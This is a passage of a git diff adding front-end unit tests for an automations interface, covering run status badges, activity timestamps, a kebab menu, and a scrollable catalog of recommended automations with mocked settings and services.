+  });
+});
diff --git a/__tests__/components/automations/detail/run-status-badge.test.tsx b/__tests__/components/automations/detail/run-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..14db3cd7ffffbe6a4038052dff740f462304149c
--- /dev/null
+++ b/__tests__/components/automations/detail/run-status-badge.test.tsx
@@ -0,0 +1,94 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { RunStatusBadge } from "#/components/features/automations/detail/run-status-badge";
+import { AutomationRunStatus } from "#/types/automation";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("RunStatusBadge", () => {
+  it.each([
+    [AutomationRunStatus.COMPLETED, I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL],
+    [AutomationRunStatus.FAILED, I18nKey.AUTOMATIONS$DETAIL$FAILED],
+    [AutomationRunStatus.PENDING, I18nKey.AUTOMATIONS$DETAIL$PENDING],
+    [AutomationRunStatus.RUNNING, I18nKey.AUTOMATIONS$DETAIL$RUNNING],
+    [AutomationRunStatus.CANCELLED, I18nKey.AUTOMATIONS$DETAIL$CANCELLED],
+    [AutomationRunStatus.SKIPPED, I18nKey.AUTOMATIONS$DETAIL$SKIPPED],
+    ["success", I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL],
+    ["blocked", I18nKey.AUTOMATIONS$DETAIL$BLOCKED],
+    ["failed", I18nKey.AUTOMATIONS$DETAIL$FAILED],
+    ["partial_success", I18nKey.AUTOMATIONS$DETAIL$PARTIAL],
+    ["unknown", I18nKey.AUTOMATIONS$DETAIL$NEEDS_REVIEW],
+  ] as const)(
+    "renders the %s label for the matching status",
+    (status, labelKey) => {
+      render(<RunStatusBadge status={status} />);
+
+      expect(screen.getByText(labelKey)).toBeInTheDocument();
+    },
+  );
+
+  it.each([
+    [AutomationRunStatus.COMPLETED, "run-status-icon-completed"],
+    [AutomationRunStatus.FAILED, "run-status-icon-failed"],
+    [AutomationRunStatus.PENDING, "run-status-icon-pending"],
+    [AutomationRunStatus.RUNNING, "run-status-icon-running"],
+    [AutomationRunStatus.CANCELLED, "run-status-icon-pending"],
+    [AutomationRunStatus.SKIPPED, "run-status-icon-pending"],
+    ["success", "run-status-icon-completed"],
+    ["blocked", "run-status-icon-warning"],
+    ["failed", "run-status-icon-failed"],
+    ["partial_success", "run-status-icon-warning"],
+    ["unknown", "run-status-icon-needs-review"],
+  ] as const)(
+    "renders the %s icon variant for the matching status",
+    (status, testId) => {
+      render(<RunStatusBadge status={status} />);
+
+      expect(screen.getByTestId(testId)).toBeInTheDocument();
+    },
+  );
+
+  it("renders a neutral badge for a status the backend added later", () => {
+    const unknownStatus = "ARCHIVED" as AutomationRunStatus;
+
+    render(<RunStatusBadge status={unknownStatus} />);
+
+    expect(screen.getByTestId("run-status-icon-pending")).toBeInTheDocument();
+  });
+
+  it("renders an icon-only mark with the status label as aria-label", () => {
+    render(<RunStatusBadge status={AutomationRunStatus.COMPLETED} iconOnly />);
+
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL),
+    ).toBeNull();
+    expect(screen.getByTestId("run-status-badge-icon")).toHaveAttribute(
+      "aria-label",
+      I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL,
+    );
+    expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+  });
+
+  it("renders compact pills without an outline and with tighter left padding", () => {
+    render(<RunStatusBadge status={AutomationRunStatus.FAILED} compact />);
+
+    const badge = screen.getByText(I18nKey.AUTOMATIONS$DETAIL$FAILED);
+    expect(badge.className).not.toContain("border");
+    expect(badge).toHaveClass("pl-1");
+    expect(badge).toHaveClass("pr-1.5");
+  });
+
+  it("renders the status word next to the icon when showLabel is set", () => {
+    render(
+      <RunStatusBadge
+        status={AutomationRunStatus.PENDING}
+        iconOnly
+        showLabel
+      />,
+    );
+
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PENDING),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("run-status-icon-pending")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/detail/section-card.test.tsx b/__tests__/components/automations/detail/section-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2bb59ad8479ca9968d65a583d4418f2a22343a5b
--- /dev/null
+++ b/__tests__/components/automations/detail/section-card.test.tsx
@@ -0,0 +1,132 @@
+import { render, screen } from "@testing-library/react";
+import { afterEach, describe, it, expect, vi } from "vitest";
+import { SectionCard } from "#/components/features/automations/detail/section-card";
+import { ActivitySection } from "#/components/features/automations/detail/activity-section";
+import { I18nKey } from "#/i18n/declaration";
+
+const mocks = vi.hoisted(() => ({
+  useTranslation: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace?: unknown) => {
+    mocks.useTranslation(namespace);
+    return {
+      t: (key: string, options?: { count?: number }) =>
+        options?.count === undefined ? key : `${key}:${options.count}`,
+      i18n: { language: "en-US" },
+    };
+  },
+}));
+
+describe("SectionCard", () => {
+  it("renders the title and children content", () => {
+    render(
+      <SectionCard icon={<span data-testid="icon" />} title="Test Section">
+        <p>{String("Section content")}</p>
+      </SectionCard>,
+    );
+
+    expect(screen.getByText("Test Section")).toBeInTheDocument();
+    expect(screen.getByText("Section content")).toBeInTheDocument();
+    expect(screen.getByTestId("icon")).toBeInTheDocument();
+  });
+});
+
+describe("Automation activity summary", () => {
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it("shows the creation date and reports an automation that has never run", () => {
+    render(
+      <ActivitySection createdAt="2024-04-10T12:00:00Z" lastRunAt={null} />,
+    );
+
+    expect(mocks.useTranslation).toHaveBeenCalledWith("openhands");
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$ACTIVITY),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$CREATED),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Apr 10, 2024")).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TIME_NEVER),
+    ).toBeInTheDocument();
+  });
+
+  it.each([
+    {
+      description: "less than a minute ago",
+      lastRunAt: "2026-06-15T11:59:30Z",
+      expected: I18nKey.AUTOMATIONS$DETAIL$TIME_JUST_NOW,
+    },
+    {
+      description: "minutes ago",
+      lastRunAt: "2026-06-15T11:23:00Z",
+      expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_MINUTES_AGO}:37`,
+    },
+    {
+      description: "exactly one minute ago",
+      lastRunAt: "2026-06-15T11:59:00Z",
+      expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_MINUTES_AGO}:1`,
+    },
+    {
+      description: "hours ago",
+      lastRunAt: "2026-06-15T06:30:00Z",
+      expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_HOURS_AGO}:5`,
+    },
+    {
+      description: "exactly one hour ago",
+      lastRunAt: "2026-06-15T11:00:00Z",
+      expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_HOURS_AGO}:1`,
+    },
+    {
+      description: "yesterday",
+      lastRunAt: "2026-06-14T10:00:00Z",
+      expected: I18nKey.AUTOMATIONS$DETAIL$TIME_YESTERDAY,
+    },
+    {
+      description: "exactly one day ago",
+      lastRunAt: "2026-06-14T12:00:00Z",
+      expected: I18nKey.AUTOMATIONS$DETAIL$TIME_YESTERDAY,
+    },
+    {
+      description: "several days ago",
+      lastRunAt: "2026-06-12T07:00:00Z",
+      expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_DAYS_AGO}:3`,
+    },
+    {
+      description: "exactly one week ago",
+      lastRunAt: "2026-06-08T12:00:00Z",
+      expected: "Jun 8, 2026",
+    },
+  ])("shows a run from $description", ({ lastRunAt, expected }) => {
+    vi.useFakeTimers();
+    vi.setSystemTime(new Date("2026-06-15T12:00:00Z"));
+
+    render(
+      <ActivitySection
+        createdAt="2024-04-10T12:00:00Z"
+        lastRunAt={lastRunAt}
+      />,
+    );
+
+    expect(screen.getByText(expected)).toBeInTheDocument();
+  });
+
+  it("uses an absolute localized date for a run at least a week old", () => {
+    vi.useFakeTimers();
+    vi.setSystemTime(new Date("2026-06-15T12:00:00Z"));
+
+    render(
+      <ActivitySection
+        createdAt="2024-04-10T12:00:00Z"
+        lastRunAt="2020-01-02T12:00:00Z"
+      />,
+    );
+
+    expect(screen.getByText("Jan 2, 2020")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/error-state.test.tsx b/__tests__/components/automations/error-state.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c5b22ef371f5f87549000903fc10faf84ee6be62
--- /dev/null
+++ b/__tests__/components/automations/error-state.test.tsx
@@ -0,0 +1,25 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { ErrorState } from "#/components/features/automations/error-state";
+
+describe("ErrorState", () => {
+  it("renders error icon and retry button", () => {
+    const { container } = render(<ErrorState onRetry={vi.fn()} />);
+
+    // Check for the error icon (ExclamationCircleIcon)
+    expect(container.querySelector("svg")).toBeInTheDocument();
+    // Check for the retry button
+    expect(screen.getByRole("button")).toBeInTheDocument();
+  });
+
+  it("calls onRetry when retry button is clicked", async () => {
+    const onRetry = vi.fn();
+    const user = userEvent.setup();
+    render(<ErrorState onRetry={onRetry} />);
+
+    await user.click(screen.getByRole("button"));
+
+    expect(onRetry).toHaveBeenCalledOnce();
+  });
+});
diff --git a/__tests__/components/automations/kebab-menu.test.tsx b/__tests__/components/automations/kebab-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..41cd86ee336a1cf4bca67ef3a828572f3029a404
--- /dev/null
+++ b/__tests__/components/automations/kebab-menu.test.tsx
@@ -0,0 +1,63 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { KebabMenu } from "#/components/features/automations/kebab-menu";
+
+const ITEMS = ["Run now", "View", "Export", "Edit", "Turn on", "Delete"].map(
+  (label) => ({ label, icon: <span />, onClick: vi.fn() }),
+);
+
+/** Place the trigger at a fixed viewport position before the menu opens. */
+function openMenuWithTriggerAt(top: number, bottom: number) {
+  const trigger = screen.getByRole("button", {
+    name: "AUTOMATIONS$ACTIONS_MENU",
+  });
+  vi.spyOn(trigger, "getBoundingClientRect").mockReturnValue({
+    top,
+    bottom,
+    left: 900,
+    right: 1000,
+    width: 100,
+    height: bottom - top,
+    x: 900,
+    y: top,
+    toJSON: () => ({}),
+  } as DOMRect);
+  fireEvent.click(trigger);
+  return document.querySelector<HTMLElement>('div[style*="position: fixed"]');
+}
+
+describe("KebabMenu", () => {
+  it("opens the menu and invokes an item's onClick when selected", async () => {
+    const onClick = vi.fn();
+    render(
+      <KebabMenu items={[{ label: "Delete", icon: <span />, onClick }]} />,
+    );
+
+    // Open the menu, then select the item (rendered via KebabMenuItemContent).
+    fireEvent.click(
+      screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+    );
+    fireEvent.click(await screen.findByText("Delete"));
+
+    expect(onClick).toHaveBeenCalledTimes(1);
+  });
+
+  it("anchors below the trigger when the menu fits in the viewport", () => {
+    render(<KebabMenu items={ITEMS} />);
+
+    const portal = openMenuWithTriggerAt(68, 100);
+
+    expect(portal?.style.top).toBe("104px");
+    expect(portal?.style.bottom).toBe("");
+  });
+
+  it("flips above the trigger when the menu would clip at the viewport bottom", () => {
+    render(<KebabMenu items={ITEMS} />);
+
+    // window.innerHeight is 768 in jsdom; 700 + 4 + (6 * 36) overflows it.
+    const portal = openMenuWithTriggerAt(668, 700);
+
+    expect(portal?.style.bottom).toBe("104px");
+    expect(portal?.style.top).toBe("");
+  });
+});
diff --git a/__tests__/components/automations/recommended-automations-rail.test.tsx b/__tests__/components/automations/recommended-automations-rail.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cf220431dc2735a2c81d0238c2a1b6b8728461b4
--- /dev/null
+++ b/__tests__/components/automations/recommended-automations-rail.test.tsx
@@ -0,0 +1,329 @@
+import { fireEvent, render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { I18nKey } from "#/i18n/declaration";
+import { RecommendedAutomationsRail } from "#/components/features/automations/recommended-automations-rail";
+import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+describe("RecommendedAutomationsRail", () => {
+  beforeEach(() => {
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe = vi.fn();
+
+        unobserve = vi.fn();
+
+        disconnect = vi.fn();
+      },
+    );
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  function mockScrollMetrics(
+    element: HTMLElement,
+    metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number },
+  ) {
+    Object.defineProperty(element, "scrollWidth", {
+      configurable: true,
+      value: metrics.scrollWidth,
+    });
+    Object.defineProperty(element, "clientWidth", {
+      configurable: true,
+      value: metrics.clientWidth,
+    });
+    Object.defineProperty(element, "scrollLeft", {
+      configurable: true,
+      writable: true,
+      value: metrics.scrollLeft,
+    });
+  }
+
+  it("renders remaining proven workflows before conversation-only extras", () => {
+    render(
+      <RecommendedAutomationsRail
+        installedAutomations={[{ name: "GitHub code review" }]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const cardIds = screen
+      .getAllByTestId(/^recommended-automation-rail-card-/)
+      .map((card) =>
+        card
+          .getAttribute("data-testid")
+          ?.replace("recommended-automation-rail-card-", ""),
+      );
+
+    expect(cardIds).toEqual([
+      "custom-automation",
+      "github-issue-to-pr",
+      "slack-channel-monitor",
+      "github-agents-md-maintainer",
+      "news-digest",
+      "slack-standup-digest",
+      "linear-triage-assistant",
+      "linear-issue-to-github-pr",
+      "linear-issue-to-gitlab-mr",
+      "linear-issue-to-bitbucket-pr",
+      "jira-issue-to-pr",
+      "jira-issue-to-gitlab-mr",
+      "research-brief-writer",
+      "jira-issue-to-bitbucket-pr",
+    ]);
+    expect(
+      screen.getByText(I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_LABEL),
+    ).toBeInTheDocument();
+  });
+
+  it("keeps space below the cards when later home sections are empty", () => {
+    render(
+      <RecommendedAutomationsRail
+        installedAutomations={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("recommended-automations-rail")).toHaveClass(
+      AUTOMATION_STACK_SECTION_BOTTOM_CLASS,
+    );
+  });
+
+  it("calls onSelect when a rail card is clicked", async () => {
+    const onSelect = vi.fn();
+    const user = userEvent.setup();
+
+    render(
+      <RecommendedAutomationsRail
+        installedAutomations={[]}
+        onSelect={onSelect}
+      />,
+    );
+
+    await user.click(
+      screen.getByTestId(
+        "recommended-automation-rail-card-slack-standup-digest",
+      ),
+    );
+
+    expect(onSelect).toHaveBeenCalledWith(
+      expect.objectContaining({ id: "slack-standup-digest" }),
+    );
+  });
+
+  it("renders nothing when every recommended automation has been added", () => {
+    const { container } = render(
+      <RecommendedAutomationsRail
+        installedAutomations={[
+          { name: "GitHub code review" },
+          { name: "GitHub issue to PR" },
+          { name: "Custom automation" },
+          { name: "Slack channel monitor" },
+          { name: "AGENTS.md Maintainer" },
+          { name: "Daily news digest" },
+          { name: "Slack standup digest" },
+          { name: "Linear issue triage assistant" },
+          { name: "Jira issue to GitHub PR" },
+          { name: "Research brief writer" },
+          { name: "Linear issue to GitHub PR" },
+          { name: "Linear issue to GitLab MR" },
+          { name: "Linear issue to Bitbucket PR" },
+          { name: "Jira issue to GitLab MR" },
+          { name: "Jira issue to Bitbucket PR" },
+        ]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("keeps a 40px icon row and overlaps multiple logos to the right", () => {
+    render(
+      <RecommendedAutomationsRail
+        installedAutomations={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const single = screen.getByTestId(
+      "recommended-automation-rail-icon-github-pr-reviewer",
+    );
+    const overlap = screen.getByTestId(
+      "recommended-automation-rail-icon-jira-issue-to-pr",
+    );
+
+    expect(single).toHaveClass("h-10");
+    expect(single).not.toHaveAttribute("data-layout");
+    expect(overlap).toHaveClass("h-10", "-space-x-2");
+    expect(overlap).toHaveAttribute("data-layout", "overlap");
+    expect(overlap).not.toHaveClass("w-10", "bg-surface-raised");
+    expect(overlap).not.toHaveAttribute("data-layout", "quadrants");
+  });
+
+  describe("clipped-content fades", () => {
+    it("shows an edge gradient only on the clipped side", () => {
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+
+      const scroller = screen.getByTestId(
+        "recommended-automations-rail-scroll",
+      );
+      const leftFade = screen.getByTestId(
+        "recommended-automations-rail-fade-left",
+      );
+      const rightFade = screen.getByTestId(
+        "recommended-automations-rail-fade-right",
+      );
+
+      mockScrollMetrics(scroller, {
+        scrollWidth: 900,
+        clientWidth: 320,
+        scrollLeft: 0,
+      });
+      fireEvent.scroll(scroller);
+
+      expect(rightFade).toHaveAttribute("data-visible", "true");
+      expect(leftFade).toHaveAttribute("data-visible", "false");
+
+      mockScrollMetrics(scroller, {
+        scrollWidth: 900,
+        clientWidth: 320,
+        scrollLeft: 580,
+      });
+      fireEvent.scroll(scroller);
+
+      expect(leftFade).toHaveAttribute("data-visible", "true");
+      expect(rightFade).toHaveAttribute("data-visible", "false");
+    });
+  });
+
+  describe("drag-to-scroll", () => {
+    it("scrolls the rail while dragging with the mouse", () => {
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+      const scroller = screen.getByTestId(
+        "recommended-automations-rail-scroll",
+      );
+      mockScrollMetrics(scroller, {
+        scrollWidth: 900,
+        clientWidth: 320,
+        scrollLeft: 100,
+      });
+
+      fireEvent.mouseDown(scroller, { button: 0, clientX: 300 });
+      fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+
+      expect(scroller.scrollLeft).toBe(150);
+    });
+
+    it("does not select a card on the click that ends a drag, but allows the next click", () => {
+      const onSelect = vi.fn();
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={onSelect}
+        />,
+      );
+      const card = screen.getByTestId(
+        "recommended-automation-rail-card-slack-standup-digest",
+      );
+
+      fireEvent.mouseDown(card, { button: 0, clientX: 300 });
+      fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+      fireEvent.mouseUp(document);
+      fireEvent.click(card);
+
+      expect(onSelect).not.toHaveBeenCalled();
+
+      fireEvent.mouseDown(card, { button: 0, clientX: 250 });
+      fireEvent.mouseUp(document);
+      fireEvent.click(card);
+
+      expect(onSelect).toHaveBeenCalledTimes(1);
+    });
+
+    it("treats movement below the drag threshold as a click", () => {
+      const onSelect = vi.fn();
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={onSelect}
+        />,
+      );
+      const card = screen.getByTestId(
+        "recommended-automation-rail-card-slack-standup-digest",
+      );
+
+      fireEvent.mouseDown(card, { button: 0, clientX: 300 });
+      fireEvent.mouseMove(document, { clientX: 301, buttons: 1 });
+      fireEvent.mouseUp(document);
+      fireEvent.click(card);
+
+      expect(onSelect).toHaveBeenCalledTimes(1);
+    });
+
+    it("ignores drags started with a non-primary mouse button", () => {
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+      const scroller = screen.getByTestId(
+        "recommended-automations-rail-scroll",
+      );
+      mockScrollMetrics(scroller, {
+        scrollWidth: 900,
+        clientWidth: 320,
+        scrollLeft: 100,
+      });
+
+      fireEvent.mouseDown(scroller, { button: 2, clientX: 300 });
+      fireEvent.mouseMove(document, { clientX: 250, buttons: 2 });
+
+      expect(scroller.scrollLeft).toBe(100);
+    });
+
+    it("ends the drag once the primary button is no longer held", () => {
+      render(
+        <RecommendedAutomationsRail
+          installedAutomations={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+      const scroller = screen.getByTestId(
+        "recommended-automations-rail-scroll",
+      );
+      mockScrollMetrics(scroller, {
+        scrollWidth: 900,
+        clientWidth: 320,
+        scrollLeft: 100,
+      });
+
+      fireEvent.mouseDown(scroller, { button: 0, clientX: 300 });
+      fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+      fireEvent.mouseMove(document, { clientX: 200, buttons: 0 });
+      fireEvent.mouseMove(document, { clientX: 100, buttons: 1 });
+
+      expect(scroller.scrollLeft).toBe(150);
+    });
+  });
+});
diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5a40b24af2c74f7a917686983bf039d8f9c134f8
--- /dev/null
+++ b/__tests__/components/automations/recommended-automations.test.tsx
@@ -0,0 +1,1014 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  act,
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import { SecretsService } from "#/api/secrets-service";
+import { I18nKey } from "#/i18n/declaration";
+import { getConversationState } from "#/utils/conversation-local-storage";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import type { Backend } from "#/api/backend-registry/types";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher";
+import {
+  RecommendedAutomationsSection,
+  getAutomationsByPopularity,
+} from "#/components/features/automations/recommended-automations-section";
+import {
+  AUTOMATION_CATALOG,
+  type RecommendedAutomation,
+} from "@openhands/extensions/automations";
+
+const {
+  mockCreateConversationMutate,
+  mockCreateSecret,
+  mockDisplayErrorToast,
+  mockUseSettings,
+} = vi.hoisted(() => ({
+  mockCreateConversationMutate: vi.fn(),
+  mockCreateSecret: vi.fn(),
+  mockDisplayErrorToast: vi.fn(),
+  mockUseSettings: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, vars?: Record<string, unknown>) => {
+      if (vars?.name) return `${key}:${String(vars.name)}`;
+      if (vars?.count != null) return `${key}:${String(vars.count)}`;
+      return key;
+    },
+  }),
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => ({
+    mutate: mockCreateConversationMutate,
+    isPending: false,
+  }),
+}));
+
+vi.mock("#/hooks/mutation/use-create-secret", () => ({
+  useCreateSecret: () => ({ mutateAsync: mockCreateSecret }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => mockUseSettings(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", async (importOriginal) => ({
+  ...(await importOriginal()),
+  displayErrorToast: mockDisplayErrorToast,
+}));
+
+const localBackend: Backend = {
+  id: "local-backend",
+  name: "Local",
+  host: "http://localhost:8000",
+  apiKey: "",
+  kind: "local",
+};
+
+const GITHUB_HOSTED_MCP_URL = "https://api.githubcopilot.com/mcp/";
+
+const cloudBackend: Backend = {
+  id: "cloud-backend",
+  name: "Cloud",
+  host: "https://staging.all-hands.dev/",
+  apiKey: "cloud-token",
+  kind: "cloud",
+};
+
+const mockNavigate = vi.fn();
+
+const navigationValue: NavigationContextValue = {
+  currentPath: "/automations",
+  conversationId: null,
+  isNavigating: false,
+  navigate: mockNavigate,
+};
+
+function renderLauncher({
+  withBackendProvider = false,
+  variant = "catalog",
+}: {
+  withBackendProvider?: boolean;
+  variant?: "catalog" | "rail";
+} = {}) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+
+  const launcher = (
+    <NavigationProvider value={navigationValue}>
+      <RecommendedAutomationsLauncher variant={variant} />
+    </NavigationProvider>
+  );
+
+  return {
+    ...render(
+      <QueryClientProvider client={queryClient}>
+        {withBackendProvider ? (
+          <ActiveBackendProvider>{launcher}</ActiveBackendProvider>
+        ) : (
+          launcher
+        )}
+      </QueryClientProvider>,
+    ),
+    queryClient,
+  };
+}
+
+function settingsWithMcpConfig(mcp_config: unknown) {
+  return {
+    agent_settings: {
+      mcp_config,
+    },
+  };
+}
+
+function settingsWithGithubMcp() {
+  return settingsWithMcpConfig({
+    github: {
+      url: GITHUB_HOSTED_MCP_URL,
+      auth: { strategy: "bearer", value: "github-token" },
+    },
+  });
+}
+
+function continueGithubResponderLocally() {
+  fireEvent.click(
+    screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+  );
+  const continueButton = screen.getByTestId(
+    "responder-deployment-continue-local",
+  );
+  fireEvent.click(continueButton);
+  return continueButton;
+}
+
+describe("recommended automations", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    localStorage.clear();
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+    mockUseSettings.mockReturnValue({
+      data: settingsWithMcpConfig({}),
+    });
+    vi.spyOn(SecretsService, "getSecretsOrThrow").mockResolvedValue([]);
+    mockCreateSecret.mockResolvedValue(undefined);
+    // Pre-flight connectivity test must pass so save mutations are reached.
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: true,
+      tools: [],
+    });
+  });
+
+  afterEach(() => {
+    localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("renders the proven automations before the beta ones, each in popularity order", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const cardIds = screen
+      .getAllByTestId(/^recommended-automation-card-/)
+      .map((card) =>
+        card
+          .getAttribute("data-testid")
+          ?.replace("recommended-automation-card-", ""),
+      );
+
+    expect(cardIds).toEqual([
+      "github-pr-reviewer",
+      "custom-automation",
+      "github-issue-to-pr",
+      "slack-channel-monitor",
+      "github-agents-md-maintainer",
+      "news-digest",
+      "github-repo-monitor",
+      "slack-standup-digest",
+      "linear-triage-assistant",
+      "linear-issue-to-github-pr",
+      "linear-issue-to-gitlab-mr",
+      "linear-issue-to-bitbucket-pr",
+      "jira-issue-to-pr",
+      "qa-changes",
+      "jira-issue-to-gitlab-mr",
+      "research-brief-writer",
+      "jira-issue-to-bitbucket-pr",
+      "upstream-fork-sync",
+      "incident-retrospective-drafter",
+    ]);
+  });
+
+  it("groups the non-proven automations under a labeled Beta section", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const provenHeading = screen.getByText(
+      I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_TITLE,
+    ).parentElement!;
+    expect(within(provenHeading).getByText("6")).toBeInTheDocument();
+
+    const betaHeading = screen.getByTestId(
+      "recommended-automations-beta-heading",
+    );
+    expect(betaHeading).toHaveTextContent(
+      I18nKey.RECOMMENDED_AUTOMATIONS$BETA_LABEL,
+    );
+    expect(within(betaHeading).getByText("13")).toBeInTheDocument();
+
+    const betaSection = screen.getByTestId(
+      "recommended-automations-beta-section",
+    );
+    expect(
+      within(betaSection).getByTestId(
+        "recommended-automation-card-slack-standup-digest",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(betaSection).queryByTestId(
+        "recommended-automation-card-github-pr-reviewer",
+      ),
+    ).not.toBeInTheDocument();
+  });
+
+  it("sorts recommendation popularity deterministically when ranks are missing or tied", () => {
+    const makeAutomation = (
+      id: string,
+      popularityRank?: number,
+    ): RecommendedAutomation =>
+      ({
+        ...AUTOMATION_CATALOG[0],
+        id,
+        popularityRank,
+      }) as RecommendedAutomation;
+
+    expect(
+      getAutomationsByPopularity([
+        makeAutomation("missing-first"),
+        makeAutomation("tie-a", 10),
+        makeAutomation("top", 20),
+        makeAutomation("tie-b", 10),
+        makeAutomation("missing-second"),
+      ]).map((automation) => automation.id),
+    ).toEqual(["top", "tie-a", "tie-b", "missing-first", "missing-second"]);
+  });
+
+  it("filters recommendations by required MCP keywords", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        query="standup"
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("recommended-automation-card-slack-standup-digest"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("recommended-automation-card-github-pr-reviewer"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows a left-aligned MCP icon stack on each card", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("recommended-automation-icon-github-pr-reviewer"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("recommended-automation-icon-research-brief-writer"),
+    ).toHaveAttribute("data-layout", "overlap");
+    expect(
+      screen.getByTestId(
+        "recommended-automation-icon-incident-retrospective-drafter",
+      ),
+    ).toHaveAttribute("data-layout", "quadrants");
+  });
+
+  it("shows the declared glyph instead of a logo stack when an entry names one", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    // `news-digest` connects to nothing, so there are no logos to stack; it
+    // names its own glyph, and the badge must render that rather than the
